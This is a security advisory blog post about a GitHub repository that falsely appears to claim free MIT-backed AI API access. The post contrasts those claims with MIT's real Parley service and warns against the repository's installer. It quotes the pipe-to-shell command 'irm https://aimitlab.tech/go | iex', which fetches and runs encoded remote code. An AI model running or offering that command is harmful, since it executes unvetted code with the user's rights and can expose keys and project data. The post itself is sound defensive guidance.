A GitHub repository called mit-institute-free-ai-api says the Massachusetts Institute of Technology gives every developer free, unlimited access to 13 top models, including Claude, GPT and GLM, "free forever". It gained about 1,300 stars in the two days after December 4, 2026. Its quick-start step is a PowerShell one-liner that downloads and runs a script from a third-party domain.
This post sorts what the README claims from what can be checked, and explains why we would not run the installer. We did not run it, and nothing here says the script is malicious. The point is narrower: an unverified source asks you to execute code you cannot easily read, on the strength of a university name nobody has confirmed.
TL;DR: claimed versus verified
| Claim in the repo | Status | What we checked |
|---|---|---|
| MIT provides the API "free of charge" as an open research initiative | Not confirmed | No MIT page we found describes it. MIT's own announced service is different (see below) |
| It is run "in partnership with OpenCode" | Not confirmed | The OpenCode provider docs list its own Go plan and standard connectors, not this endpoint |
| 13 models, including Claude Fable 5.2 and GPT-6.2 Astra, are free | Not confirmed | No model lab we found has announced this arrangement |
Setup is one command: irm https://aimitlab.tech/go | iex | Confirmed that it is the instruction | The address returns a script wrapped in encoded text |
| The repo is popular | True as a count | Stars rose by roughly 1,315 since December 4; stars are not a trust signal |
What the repo says
The README presents a landing page called "MIT Institute of AI", with the tagline "All top AI models. One API. Absolutely free." It lists a site at aimitlab.tech and says the models are "provided free of charge by the Massachusetts Institute of Technology, in partnership with OpenCode". Its "Why is it free?" section answers: "because MIT pays for it".
Setup comes in two forms. The easy one is the PowerShell command that offers either a chat in the terminal or an OpenCode configuration. The manual one is an opencode.json file that points an OpenAI-compatible provider at https://aimitlab.tech/v1 with the placeholder key aimitlab. The file names 13 models, from Claude Fable 5.2 to GLM 5.2.
The README also mentions an "access agreement": before the first request the API shows a short text, and you reply "Yes" once to get access for 24 hours. That detail is worth noticing. A real university research program would normally tie access to a university login, not to a typed "Yes".
What MIT actually announced
MIT does run an AI service for its own people. On July 8, 2026, MIT announced the Parley API for all MIT faculty, staff, postdocs, graduate students and undergraduates. It is reached through a Parley site that sits behind MIT sign-in, and it supports integrations with Claude Code, Codex CLI and OpenCode.
The terms differ from the repo's claims in every way that matters:
- Audience. The MIT community only, not "every developer, student and researcher" in the world.
- Money. Faculty, staff, postdocs and graduate students get $30 in complimentary monthly API credits, and more capacity is bought with an MIT cost object. It is usage-based, not free forever.
- Access. It goes through MIT's own Parley pages and a support address at mit.edu, not a separate
.techdomain.
The overlap is the reason the repo can feel plausible. MIT really did announce an API that works with OpenCode and Codex CLI. A lookalike can borrow that shape. That is a guess about the repo's intent, not a finding, but it is the pattern security teams describe for lures that borrow a trusted name.
Why the installer is the red flag
A blank terminal window with a block cursor, standing for the unread PowerShell installer behind a free AI API offer
The command in the README has this shape:
irm https://example-domain/go | iex
irm is short for Invoke-RestMethod. It downloads text. iex is short for Invoke-Expression. It runs that text as PowerShell, with your user's rights, immediately. Nothing is saved first, nothing is shown to you, and a later request can return different code than an earlier one.
When we looked at the start of the response from the /go address, it was not readable script. It was a single iex call wrapping a long base64 string that is decoded and run on the fly. The README itself says "the script loads all texts, links, models and config straight from the server — nothing is hardcoded". Put together, the script you would run is controlled by the server at the time you run it.
That is not proof of harm. Plenty of legitimate installers use the same pattern. But a legitimate installer comes from a vendor you can identify, and it can be read before it runs. Here the name on the box (MIT) cannot be matched to the domain on the box.
What a free gateway can see even if the script is clean
A shield breaking a chain of token links, showing how a free AI API gateway can expose keys and prompts
Suppose the script does nothing bad. The service itself still sits between your tool and the model. Anyone who runs an OpenAI-compatible endpoint sees:
- every prompt and every reply;
- the code, file contents and error logs your coding agent attaches to each request;
- the model you pick and when you use it;
- any real key you paste into the config in place of the placeholder.
For a coding agent, that is a copy of your project context. If you work on company code, you have just sent it to an operator with no name. This is the same trust problem we described for a fake Qwen model on Ollama: the thing that looks like a model or a gateway is code and infrastructure you did not vet.
There is a second, simpler risk: it may not be what it says. A gateway that lists "Claude Fable 5.2" at a price of Free has no way for you to confirm which model answers. You may get a cheaper model under a premium label, and you would not know.
A pattern, not a one-off
Free-access lures aimed at developers are common now. Malwarebytes documented more than 100 fake AI subscription sites in September 2026 that borrow product names and sell access you cannot test first. Its red flags map neatly onto this repo: no checkable owner, an address that does not belong to the named institution, and a polished page with claims you cannot verify elsewhere.
On explainx.ai we have tracked the neighboring cases:
- A fake crawler campaign that went after API keys shows how much value keys carry.
- Fake event invites from AI labs used lab names to harvest sign-ins.
- Malicious GGUF chat templates hid instructions in model files.
- A network of bait-and-switch AI apps reused innocent-looking pages to reach users.
Each uses a trusted name, a free offer, and a step that asks you to trust the operator. The repo here fits the first two and, for now, nothing in it lets you test the third.
How to check any "free model API" in five minutes
- Match the claim to the named owner. If a repo says a university, lab or company runs it, find that owner's own page that says so. For MIT, that means mit.edu pages such as the Parley announcement above. No match, no trust.
- Read the domain. A
.techor similar address that is not the owner's domain is a reason to stop. Look up who registered it and when. - Look at the account. A brand-new GitHub account with a handful of repos and many stars in days is an attention signal, not an authority signal.
- Never pipe into a shell. Download the script, read it, or skip it. If it is wrapped in encoded text, do not run it.
- Use throwaway data and keys. If you must test a gateway, use a sandbox account, no real project code and a key that can be revoked.
If you build with coding agents, the same rule covers tools they call. Controlling what an agent may run is the job of products such as AgentBeam, the agent security platform from the explainx.ai team, which stops agents before they take dangerous actions. A pipe-to-shell command in a README is exactly the kind of step to put behind an approval prompt.
Safer ways to get model access
Free access exists, from sources that can be named:
- Your institution or employer. MIT's Parley API is one example. Many schools and companies run their own, with a login and a data policy.
- Lab free tiers and credits. Provider consoles publish what is free and what is not.
- Local open-weight models. Running a model on your own machine keeps prompts at home. Our guides to pairing OpenCode with a Qwen adapter and running Kimi through OpenCode show supported routes.
- A key you create. A key from the provider's own console can be limited and revoked.
If you want structured practice using agents safely at work, our workshops cover tool access and approvals.
If you already ran it
Treat the machine as untrusted until checked. Disconnect it from work networks. Rotate every key, token and saved password that was on it. Review startup items, scheduled tasks and new PowerShell history, and run a full security scan. If it was a work device, tell your security team now. Report the repo and the domain to GitHub and to the domain registrar so others do not hit it.
What we do not know
We do not know who runs aimitlab.tech. We did not run the script, so we cannot say what it does. We cannot say whether the endpoint forwards to real models or stores prompts. The repo may be an honest hobby project with a misleading name. What can be said is that the MIT claim does not match MIT's published program, and the install method hides what it runs.
Bottom line
A big star count and a famous name do not make an installer safe. If a free-model offer cannot be traced to the owner it names, treat it as unverified, skip the one-liner, and use a route you can name. If the owner of the repo can show an official MIT statement, an identifiable team, or a readable installer, that would change the picture, and we will add it here.
Related reading
- Fake Qwen3-1.7B on Ollama: the "What is" chat template trap
- Octopus Gecko: fake AI crawler and API key scanners
- Fake AI lab event invites and device-code phishing
- Malicious GGUF chat templates on Hugging Face
- Bait-and-switch AI apps and deepfake networks
- Kimi K3.1 Pro with OpenCode: a supported setup
- Qwen3.8 27B OpenCode harness adapter
- Malwarebytes: fake AI subscription sites
- MIT: Parley API for the MIT community
Details are accurate as of December 6, 2026. Repository contents and the linked domain can change at any time.
